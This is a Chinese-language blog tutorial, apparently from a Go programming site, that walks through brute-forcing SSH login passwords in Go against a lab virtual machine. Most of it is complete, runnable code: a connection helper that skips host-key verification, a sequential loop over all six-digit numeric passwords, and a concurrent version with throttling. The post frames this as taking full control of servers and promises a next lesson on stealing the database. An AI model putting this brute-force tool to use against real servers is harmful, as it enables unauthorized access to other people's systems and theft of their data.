Go语言破解SSH服务器

Amiee7 · 2019-03-05 10:38:53 · 2933 次点击 · 预计阅读时间 6 分钟 · 大约8小时之前 开始浏览    
这是一个创建于 2019-03-05 10:38:53 的文章,其中的信息可能已经有所发展或是发生改变。

需求和思路分析

  • 现在的很多小伙伴们都拥有了自己的云服务器了,lots of them!
  • 平时大家是怎么做服务器管理的呢?相信多数人都是通过SSH客户端连接过去的吧;
  • 无论PUTTY还是XShell,我们只需要一个登陆密码,就能轻松地登陆到远程服务器终端,然后对我们的服务器做任何事情;
  • 只需要一个密码就可以了!
  • Go语言有SSH连接的第三方库,参数自然是用户名、密码、远程IP和端口,而密码我们可以通过暴力枚举来进行破解;

建立靶机

安装并运行SSH服务,以Ubuntu为例

//安装SSH服务
sudo apt install openssh-server

//查看服务状态
sudo systemctl status ssh

//启动服务
sudo systemctl start ssh

在这里插入图片描述 使用另一台虚拟机与之进行SSH连接

ssh sriouyang@192.168.137.152

在这里插入图片描述

安装第三方库

go get golang.org/x/crypto/ssh

访问golang.org需要翻墙,我们可以先手动在GOPATH/src下创建golang.org/x目录,cd到这个目录,然后执行

git clone https://github.com/golang/crypto.git

连接SSH服务器

核心API如下:

func Dial(network, addr string, config *ClientConfig) (*Client, error)
func (c *Client) NewSession() (*Session, error)

从核心API出发,一步一步按图索骥,我们就能够写出连接的完整代码了

/*获取客户端连接*/
func SSHConnect(user, password, host string, port int) (*ssh.Client, *ssh.Session, error) {

    var (
        authMethods  []ssh.AuthMethod
        addr         string
        clientConfig *ssh.ClientConfig
        client       *ssh.Client
        session      *ssh.Session
        err          error
    )

    // 创建密码校验方法
    authMethods = make([]ssh.AuthMethod, 0)
    authMethods = append(authMethods, ssh.Password(password))

    // 创建一个格式合法的回调函数
    hostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {
        return nil
    }

    /*创建SSH客户端配置*/
    clientConfig = &ssh.ClientConfig{
        User: user,
        Auth: authMethods,
        // Timeout:             30 * time.Second,
        HostKeyCallback: hostKeyCallbk,
    }

    // 连接地址
    addr = fmt.Sprintf("%s:%d", host, port)

    // 拨号并获取SSH客户端
    if client, err = ssh.Dial("tcp", addr, clientConfig); err != nil {
        return nil, nil, err
    }

    // 创建新的会话
    if session, err = client.NewSession(); err != nil {
        return nil, nil, err
    }

    return client, session, nil
}

测试密码正确与否

下面的代码中,我们分别使用正确的密码和错误的密码尝试与靶机建立SSH连接,连接成功时,返回的error为空,说明密码是正确的,否则返回具体的error;

/*成功与失败*/
func main() {
    //正确密码
    _, session, err := SSHConnect("sriouyang", "123456", "192.168.137.152", 22)
    //err为空
    fmt.Println(session, err)

    //错误密码
    _, session, err = SSHConnect("sriouyang", "654321", "192.168.137.152", 22)
    //err不为空
    fmt.Println(session, err)
}

在这里插入图片描述

同步暴力破解密码

以6位纯数字密码为例,我们就可以这样来破解了

/*同步暴力破解所有6位纯数字密码*/
func main02() {
    for i := 0; i < 1000000; i++ {

        //尝试使用当前密码登录SSH服务器
        pwd := strconv.Itoa(i)
        _, session, e := SSHConnect("sirouyang", pwd, "192.168.137.152", 22)
        fmt.Println(session, e)

        //根据错误是否为空判断密码是否正确
        if e != nil {
            fmt.Println(i, "尝试失败")
        } else {
            fmt.Println(i, "正确密码", pwd)
            break
        }
    }
}

在这里插入图片描述

异步暴力破解密码

  • 同步破解每次密码尝试都需要等待很久才能返回结果,对于几千万次的不同组合的尝试来说,这显然是不OK的,于是Go语言的并发来了!
  • 我们对上述同步破解代码进行改进,将每次尝试丢给一个不同的协程去做,这样我们就能并发地测试多个密码了;
  • 注意事项1:每次尝试失败后,要断开客户端连接,否则很快连接就满了或者无效了,就会出现各种各样的BUG;
  • 注意事项2:不要真的开辟百万并发协程,那只是一个美好的理想,现实中服务器端的最大连接数是有限的,所以我们使用管道模拟信号量,来控制最大并发数,此处桫哥使用了5并发;
  • 注意事项3:在统计尝试次数时,尝试次数这个变量不要并发地去修改,否则容易出错,桫哥在此处使用了原子变量做同步修改;

完整代码实现如下:

/*异步破解*/
func main03() {

    //chQuit := make(chan string)

    //控制并发数
    chSem := make(chan int, 5)

    //全局等待组
    var wg sync.WaitGroup

    //尝试次数
    var count int64

    /*暴力尝试密码*/
    for i := 123400; i < 123500; i++ {

        //开辟尝试协程并注册到等待组
        wg.Add(1)
        go func(i int) {

            //使用管道做并发数控制
            chSem <- i

            //尝试连接
            pwd := strconv.Itoa(i)
            client, session, e := SSHConnect("sriouyang", pwd, "192.168.137.152", 22)

            //最终关闭客户端
            defer func() {
                if session != nil {
                    session.Close()
                }
                if client != nil {
                    client.Close()
                }
            }()

            //记录尝试次数,此处使用原子操作保证同步
            atomic.AddInt64(&count, 1)
            fmt.Println(e)

            //判断破解是否成功
            if e != nil {
                fmt.Println(i, "密码错误")
                if pwd == "123456" {
                    log.Print(e)
                }
            } else {
                fmt.Println(i, "正确密码")
                fmt.Println("共尝试", count, "次")
                os.Exit(0)
            }

            //让出并发位置,从等待组中注销
            <-chSem
            wg.Done()
        }(i)

    }

    //等待所有协程结束
    wg.Wait()
    fmt.Println("main over!")
}

执行结果如下在这里插入图片描述 破解了密码就等于完全控制了服务器,下一节我们将把服务器数据库里的数据盗走,名曰“脱库”;

加入兄弟连Go区块链帝国,获取海量免费学习资源,并天天有惊喜(小姐姐出没) 在这里插入图片描述 GO全栈区块链帝国①

桫哥带你学Golang云盘 链接:https://pan.baidu.com/s/1LsajZhxEp5G5JvK1VhrSxQ 提取码:nab8


有疑问加站长微信联系(非本文作者))

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

2933 次点击  ∙  1 赞  
加入收藏 微博
3 回复  |  直到 2021-02-07 02:05:29
暂无回复
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传